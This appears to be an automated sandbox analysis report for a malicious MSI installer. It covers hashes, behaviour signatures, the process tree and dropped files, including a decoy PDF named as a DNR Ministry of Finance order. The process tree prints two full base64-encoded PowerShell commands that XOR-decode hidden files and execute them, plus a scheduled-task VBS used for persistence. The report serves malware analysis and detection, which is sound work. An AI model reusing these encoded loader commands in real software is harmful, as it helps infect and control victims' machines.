4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51

Analysis

max time kernel
150s
max time network
124s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
12/04/2023, 05:09

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

fee3db5db8817e82b1af4cedafd2f346.msi
Size

166KB
MD5

fee3db5db8817e82b1af4cedafd2f346
SHA1

e6bcf68c7d55fc933e7a7e2ca1fb4e8fa1ad376d
SHA256

4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51
SHA512

37bbe3176b6d793b2b140e6bb6989b322832bdd77869d86e071e7566902fa9f718a647c2fb347a8a79f1fd9b5d5fc376ba8ddfa516944c3134d351048853278c
SSDEEP

3072:cCZXtgABNBJ1BP5mUopW5KfTl6bmneDhZd31JHtb/B9:cedgABj3op+KrcrtZd31Ftb/B9

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1564	powershell.exe

Enumerates connected drives 3 TTPs 48 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\6c6e8e.ipi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.dev.log	DrvInst.exe
File opened for modification	C:\Windows\Installer\6c6e8c.msi	msiexec.exe
File created	C:\Windows\Installer\6c6e8e.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI70AE.tmp	msiexec.exe
File created	C:\Windows\Installer\6c6e90.msi	msiexec.exe
File opened for modification	C:\Windows\INF\setupapi.ev3	DrvInst.exe
File opened for modification	C:\Windows\INF\setupapi.ev1	DrvInst.exe
File created	C:\Windows\Installer\6c6e8c.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies data under HKEY_USERS 43 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	DrvInst.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	DrvInst.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	DrvInst.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1960	msiexec.exe
1960	msiexec.exe
768	powershell.exe
768	powershell.exe
768	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe
1564	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1744	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1744	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeSecurityPrivilege	1960	msiexec.exe
Token: SeCreateTokenPrivilege	1744	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1744	msiexec.exe
Token: SeLockMemoryPrivilege	1744	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1744	msiexec.exe
Token: SeMachineAccountPrivilege	1744	msiexec.exe
Token: SeTcbPrivilege	1744	msiexec.exe
Token: SeSecurityPrivilege	1744	msiexec.exe
Token: SeTakeOwnershipPrivilege	1744	msiexec.exe
Token: SeLoadDriverPrivilege	1744	msiexec.exe
Token: SeSystemProfilePrivilege	1744	msiexec.exe
Token: SeSystemtimePrivilege	1744	msiexec.exe
Token: SeProfSingleProcessPrivilege	1744	msiexec.exe
Token: SeIncBasePriorityPrivilege	1744	msiexec.exe
Token: SeCreatePagefilePrivilege	1744	msiexec.exe
Token: SeCreatePermanentPrivilege	1744	msiexec.exe
Token: SeBackupPrivilege	1744	msiexec.exe
Token: SeRestorePrivilege	1744	msiexec.exe
Token: SeShutdownPrivilege	1744	msiexec.exe
Token: SeDebugPrivilege	1744	msiexec.exe
Token: SeAuditPrivilege	1744	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1744	msiexec.exe
Token: SeChangeNotifyPrivilege	1744	msiexec.exe
Token: SeRemoteShutdownPrivilege	1744	msiexec.exe
Token: SeUndockPrivilege	1744	msiexec.exe
Token: SeSyncAgentPrivilege	1744	msiexec.exe
Token: SeEnableDelegationPrivilege	1744	msiexec.exe
Token: SeManageVolumePrivilege	1744	msiexec.exe
Token: SeImpersonatePrivilege	1744	msiexec.exe
Token: SeCreateGlobalPrivilege	1744	msiexec.exe
Token: SeBackupPrivilege	984	vssvc.exe
Token: SeRestorePrivilege	984	vssvc.exe
Token: SeAuditPrivilege	984	vssvc.exe
Token: SeBackupPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1096	DrvInst.exe
Token: SeLoadDriverPrivilege	1096	DrvInst.exe
Token: SeLoadDriverPrivilege	1096	DrvInst.exe
Token: SeLoadDriverPrivilege	1096	DrvInst.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe
Token: SeTakeOwnershipPrivilege	1960	msiexec.exe
Token: SeRestorePrivilege	1960	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1744	msiexec.exe
1744	msiexec.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
276	AcroRd32.exe
276	AcroRd32.exe
276	AcroRd32.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1960 wrote to memory of 1540	1960	msiexec.exe	32
PID 1540 wrote to memory of 768	1540	MsiExec.exe	33
PID 1540 wrote to memory of 768	1540	MsiExec.exe	33
PID 1540 wrote to memory of 768	1540	MsiExec.exe	33
PID 1540 wrote to memory of 768	1540	MsiExec.exe	33
PID 768 wrote to memory of 276	768	powershell.exe	35
PID 768 wrote to memory of 276	768	powershell.exe	35
PID 768 wrote to memory of 276	768	powershell.exe	35
PID 768 wrote to memory of 276	768	powershell.exe	35
PID 768 wrote to memory of 1348	768	powershell.exe	36
PID 768 wrote to memory of 1348	768	powershell.exe	36
PID 768 wrote to memory of 1348	768	powershell.exe	36
PID 768 wrote to memory of 1348	768	powershell.exe	36
PID 1348 wrote to memory of 1708	1348	csc.exe	37
PID 1348 wrote to memory of 1708	1348	csc.exe	37
PID 1348 wrote to memory of 1708	1348	csc.exe	37
PID 1348 wrote to memory of 1708	1348	csc.exe	37
PID 768 wrote to memory of 1944	768	powershell.exe	38
PID 768 wrote to memory of 1944	768	powershell.exe	38
PID 768 wrote to memory of 1944	768	powershell.exe	38
PID 768 wrote to memory of 1944	768	powershell.exe	38
PID 768 wrote to memory of 572	768	powershell.exe	39
PID 768 wrote to memory of 572	768	powershell.exe	39
PID 768 wrote to memory of 572	768	powershell.exe	39
PID 768 wrote to memory of 572	768	powershell.exe	39
PID 1080 wrote to memory of 2008	1080	taskeng.exe	41
PID 1080 wrote to memory of 2008	1080	taskeng.exe	41
PID 1080 wrote to memory of 2008	1080	taskeng.exe	41
PID 2008 wrote to memory of 1564	2008	wscript.exe	42
PID 2008 wrote to memory of 1564	2008	wscript.exe	42
PID 2008 wrote to memory of 1564	2008	wscript.exe	42
PID 1564 wrote to memory of 1764	1564	powershell.exe	45
PID 1564 wrote to memory of 1764	1564	powershell.exe	45
PID 1564 wrote to memory of 1764	1564	powershell.exe	45

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\fee3db5db8817e82b1af4cedafd2f346.msi
1⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1744

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 32ADEE031874A1F3C0866EDB96DEA386
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1540
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABpAG4AcwB0AD0AIgAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAFcAaQBuAEUAdgBlAG4AdABDAG8AbQBcAHMAZQByAHYAaQBjAGUAXwBwAGEAYwBrAC4AZABhAHQAIgA7AGkAZgAoACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaQBuAHMAdAApACkAewByAGUAdAB1AHIAbgA7AH0AJABiAGkAbgBzAHQAPQBbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAEIAeQB0AGUAcwAoACQAaQBuAHMAdAApADsAJAB4AGIAaQBuAHMAdAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgACQAYgBpAG4AcwB0AC4AQwBvAHUAbgB0ADsAZgBvAHIAKAAkAGkAPQAwADsAJABpAC0AbAB0ACQAYgBpAG4AcwB0AC4AQwBvAHUAbgB0ADsAJABpACsAKwApAHsAJAB4AGIAaQBuAHMAdABbACQAaQBdAD0AJABiAGkAbgBzAHQAWwAkAGkAXQAtAGIAeABvAHIAMAB4ADEAMwA7ACQAeABiAGkAbgBzAHQAWwAkAGkAXQA9ACQAYgBpAG4AcwB0AFsAJABpAF0ALQBiAHgAbwByADAAeAA1ADUAOwAkAHgAYgBpAG4AcwB0AFsAJABpAF0APQAkAGIAaQBuAHMAdABbACQAaQBdAC0AYgB4AG8AcgAwAHgARgBGADsAJAB4AGIAaQBuAHMAdABbACQAaQBdAD0AJABiAGkAbgBzAHQAWwAkAGkAXQAtAGIAeABvAHIAMAB4AEYARgA7AH0AOwBUAHIAeQB7AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4AGIAaQBuAHMAdAApAHwAaQBlAHgAOwB9AEMAYQB0AGMAaAB7AH0AOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAzADsAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABpAG4AcwB0ACAALQBGAG8AcgBjAGUACgA=
    3⤵
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:768
  - - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
      "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Приказ Минфина ДНР № 176.pdf"
      4⤵
      Suspicious use of SetWindowsHookEx
      PID:276
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zlczjzws.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1348
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9926.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9925.tmp"
        5⤵
        
        PID:1708
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /query /TN WindowsActiveXTaskTrigger
      4⤵
      PID:1944
  - - C:\Windows\SysWOW64\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /RUN /TN WindowsActiveXTaskTrigger
      4⤵
      PID:572

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:984

C:\Windows\system32\DrvInst.exe
DrvInst.exe "1" "200" "STORAGE\VolumeSnapshot\HarddiskVolumeSnapshot19" "" "" "61530dda3" "0000000000000000" "00000000000003D4" "00000000000004A0"
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1096

C:\Windows\system32\taskeng.exe
taskeng.exe {BB9F1359-3F92-49F0-A62A-2CF7967F30C4} S-1-5-21-3948302646-268491222-1934009652-1000:KXZDHPUW\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\system32\wscript.exe
  wscript.exe "C:\Users\Admin\AppData\Local\WinEventCom\manutil.vbs"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABtAGEAaQBuAD0AIgAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAXABXAGkAbgBFAHYAZQBuAHQAQwBvAG0AXABjAG8AbgBmAGkAZwAiADsAaQBmACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABtAGEAaQBuACkAKQB7AHIAZQB0AHUAcgBuADsAfQAkAGIAYQByAHIAYQB5AD0AWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAG0AYQBpAG4AKQA7ACQAeABhAHIAcgBhAHkAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAkAGIAYQByAHIAYQB5AC4AQwBvAHUAbgB0ADsAZgBvAHIAKAAkAGkAPQAwADsAJABpAC0AbAB0ACQAYgBhAHIAcgBhAHkALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeABBAEIAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeABGAEYAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeAAzADAAOwAkAHgAYQByAHIAYQB5AFsAJABpAF0APQAkAGIAYQByAHIAYQB5AFsAJABpAF0ALQBiAHgAbwByADAAeAAxADAAOwB9ADsAVAByAHkAewBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAeABhAHIAcgBhAHkAKQB8AGkAZQB4ADsAfQBDAGEAdABjAGgAewB9AA==
    3⤵
    - Blocklisted process makes network request
    - Drops file in System32 directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1564
  - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z1lduoro.cmdline"
      4⤵
      PID:1764
    - - C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES536F.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC536E.tmp"
        5⤵
        
        PID:308

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Config.Msi\6c6e8f.rbs

Filesize
8KB

MD5
524d32c5111adad2af296bb84ed93075

SHA1
536694efa08cf26bda73d28ec1bcc07a841f4061

SHA256
9387e46ee84316fc7dd0c6a28e56f7a135a62428e47e3b845a808eb999ea943c

SHA512
e13469a51839363bd61d9035210ce82397950b7f396fc05ca8b465e47881d45ca166a0e8de02147e3a866bd3b7723744872a95f4975c6bc899b703cc652e907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES9926.tmp

Filesize
1KB

MD5
0ae2740214911409e698df5732eb9b2e

SHA1
ef155653b801644aaa1d4b211074dafc56fe95f0

SHA256
7a0c2086e522c0e3b495f95c022f119404cef25dc1b9cfb3da3054b6ff9bb784

SHA512
279a20a3d6d43cb91426a63e08a9985919250ec989c6acce84f467a69a358837aad2f0f2432418b24d56b8cfac5ebef98779320eed9a2fdf16f9c4c472e7ce2d

Download Submit
C:\Users\Admin\AppData\Local\Temp\zlczjzws.dll

Filesize
3KB

MD5
73b10d18776d0a4f69ad9fb2fee6c087

SHA1
e93ec1dd91174e8285a1e5d5ec7c6adb4acdc6e2

SHA256
4f8626202f4a9a22b49ec92b4bcf790a4a81de12bcb9e162f7c9433e19f16cd7

SHA512
7272fd19b57b426b0db4bd2e5f54564ad875c87d4fab32d8b2eb8a63b4e9e2f7993dc5c27e98520d73e4e766a3c38a543a45891dd14d8f10e3ceedf84519c78c

Download Submit
C:\Users\Admin\AppData\Local\Temp\zlczjzws.pdb

Filesize
7KB

MD5
3db7fc9f44e1bf2daa51f1f2b750dfb9

SHA1
7374b31f44d4dd2e54fe5e37c3191616695d9c44

SHA256
1a6c4f8e4b426468dcd509eccb97b839cf618ba676431c242b7784cf57546d97

SHA512
2ca559744d8232b179277ba989e7a55b89d17a86609134c6a04632b9b3bf57797b0e7bc3fc9abcd4c5c1259f3d6e869cbdbceac3b312fa46e192e79a1b691d49

Download Submit
C:\Users\Admin\AppData\Local\WinEventCom\config

Filesize
9KB

MD5
ab4d7aae358846880050ea7e37f52ac7

SHA1
6c0f5abb5531cd47313b21e461b190f6a39676a0

SHA256
ddf9f9cf92aa2cd47cd9aa708756e2233fbb0186480377ed6c37bdb66e0d1ec3

SHA512
0a0bfae046028f5439b9c30cb32596da585f3d84fb38959b66510f999ae3d51330be7357c7b23ddd7a19882ab568e21459a99805f59a2ac5db31a6dd5f4e6dfb

Download Submit
C:\Users\Admin\AppData\Local\WinEventCom\manutil.vbs

Filesize
1KB

MD5
8c2f5e7432f1e6ad22002991772d589b

SHA1
8b04e7b1608b7498e06905e62f03f5e23687d9eb

SHA256
5d008539c11d9e35e9851487e82a078bbf8a1bd19a7f5f1f5beb581b47c7ca91

SHA512
7c7eac0081ff7ce07ba96cd11f36f04e3386f2a176b4357c53384b72b7fcd0deacc477a20b5264b8b39f47d9348a5a8069a8acfff5b2e8576629b933d66e6bc1

Download Submit
C:\Users\Admin\AppData\Local\Приказ Минфина ДНР № 176.pdf

Filesize
111KB

MD5
79da5a4719f51837126bebd6c8f2714f

SHA1
36fbda3057119305f946a5f2949d442b33a3261c

SHA256
37309f7ea1877775b1d33e4d8fd43f5bbd49758af2c0400785d860c8036a0598

SHA512
01b6dcc10cf888084f4267b4bcc34e0b3b62ce50e09f903244757a819af83997b2fab9be755c464c89235f60f8c8383c272519950165dcad22f844266044935a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\L2IKGN3XXV5WTF2G7D4L.temp

Filesize
7KB

MD5
f7894f09d1a400c8c805fe9a0176868b

SHA1
9495209a08e77c5f424a0d0b219bd3e5809aa9b7

SHA256
1af7e457c30871c50025e537c1fff0f46675a394dcd3b9ccefdbf5d84b5eeb3a

SHA512
5f631b71ffe169688ea2717f3199cd6c4e49b213ebbd012d84562d826d4b7121fdf4e6d872ddd76ee188657a6b3219b4663fe06def5e6e7cc8fc41ae9d084c06

Download Submit
C:\Users\Admin\AppData\Roaming\WinEventCom\service_pack.dat

Filesize
23KB

MD5
e1f0082cb3d04c4a2a70ae02a158520c

SHA1
33a7244d072cf1d530a26d7d77bfe88615661ecd

SHA256
f405a26904d2f6aaf4ff5f24dc345a24751d13b691a0bf17ba8c94f08ebb8b5b

SHA512
2cf6bb9ba1c443797328159004c2f63ef70363e72fc3fe9aaee4a73a2d95f73a56cc30b2597d8d643370babaeaac46b24dbe59237a3ab866b61f0cb7eac8f0ca

Download Submit
